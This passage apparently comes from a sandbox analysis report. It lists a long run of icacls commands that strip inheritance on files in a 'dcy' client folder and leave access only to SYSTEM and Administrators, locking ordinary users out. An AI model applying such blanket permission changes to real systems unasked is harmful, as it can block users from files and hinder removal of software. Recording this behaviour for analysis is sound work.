        
        PID:3504
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Transactions.Local.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:300
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.ValueTuple.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5160
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Web.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6012
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Web.HttpUtility.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2652
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Windows.Controls.Ribbon.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3400
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Windows.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3056
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Windows.Extensions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5820
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Windows.Forms.Design.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5196
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Windows.Forms.Design.Editors.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4904
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Windows.Forms.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1780
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Windows.Forms.Primitives.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:944
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Windows.Input.Manipulations.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:52
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Windows.Presentation.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:120
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Xaml.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5292
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Xml.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6052
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Xml.Linq.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4152
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Xml.ReaderWriter.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:5864
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Xml.Serialization.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1264
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Xml.XDocument.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2736
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Xml.XmlDocument.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:5672
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Xml.XmlSerializer.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4768
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Xml.XPath.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5744
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Xml.XPath.XDocument.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5032
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\UIAutomationClient.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3036
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\UIAutomationClientSideProviders.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2972
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\UIAutomationProvider.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5824
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\UIAutomationTypes.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4940
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\vcruntime140_cor3.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2516
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Vortice.Direct3D11.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3356
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Vortice.DirectX.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1432
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Vortice.DXGI.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4168
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Vortice.Mathematics.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5016
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\websocket-sharp.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3796
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\WindowsBase.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1484
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\WindowsFormsIntegration.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3788
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\wpfgfx_cor3.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1556
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\af-ZA\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:2788
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\af-ZA\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4748
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\agent-cache\dcy-agent.db" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4424
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\agent-cache\logs\client-error.log" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:4836
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\agent-cache\logs\client-success.log" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3736
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\agent-cache\logs\service-crash.log" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6000
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\agent-cache\logs\service.log" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5500
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\am-ET\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5548
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\am-ET\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4508
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ar-SA\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2188
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ar-SA\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1116
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\az-Latn-AZ\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4556
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\az-Latn-AZ\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5628
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\be-BY\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5812
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\be-BY\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1468
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\bg-BG\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3396
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\bg-BG\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:4856
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\bn-BD\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3988
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\bn-BD\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:5172
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\bs-Latn-BA\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4788
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\bs-Latn-BA\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1540
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ca-ES\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:976
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ca-ES\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1816
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\cs\Microsoft.VisualBasic.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4732
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\cs\PresentationCore.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5588
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\cs\PresentationFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4444
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\cs\PresentationUI.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2676
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\cs\ReachFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2980
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\cs\System.Windows.Controls.Ribbon.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:692
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\cs\System.Windows.Forms.Design.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3976
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\cs\System.Windows.Forms.Primitives.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3220
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\cs\System.Windows.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5208
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\cs\System.Windows.Input.Manipulations.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:4536
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\cs\System.Xaml.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5676
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\cs\UIAutomationClient.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2368
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\cs\UIAutomationClientSideProviders.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3404
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\cs\UIAutomationProvider.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2088
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\cs\UIAutomationTypes.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5204
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\cs\WindowsBase.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1512
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\cs\WindowsFormsIntegration.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4828
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\cs-CZ\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5312
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\cs-CZ\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:4524
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\da-DK\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1912
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\da-DK\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5364
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\de\Microsoft.VisualBasic.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4288
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\de\PresentationCore.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:3604
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\de\PresentationFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1464
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\de\PresentationUI.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5984
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\de\ReachFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5300
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\de\System.Windows.Controls.Ribbon.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:792
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\de\System.Windows.Forms.Design.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3816
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\de\System.Windows.Forms.Primitives.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:996
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\de\System.Windows.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5840
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\de\System.Windows.Input.Manipulations.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:952
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\de\System.Xaml.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4912
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\de\UIAutomationClient.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4736
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\de\UIAutomationClientSideProviders.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:880
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\de\UIAutomationProvider.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2512
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\de\UIAutomationTypes.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4564
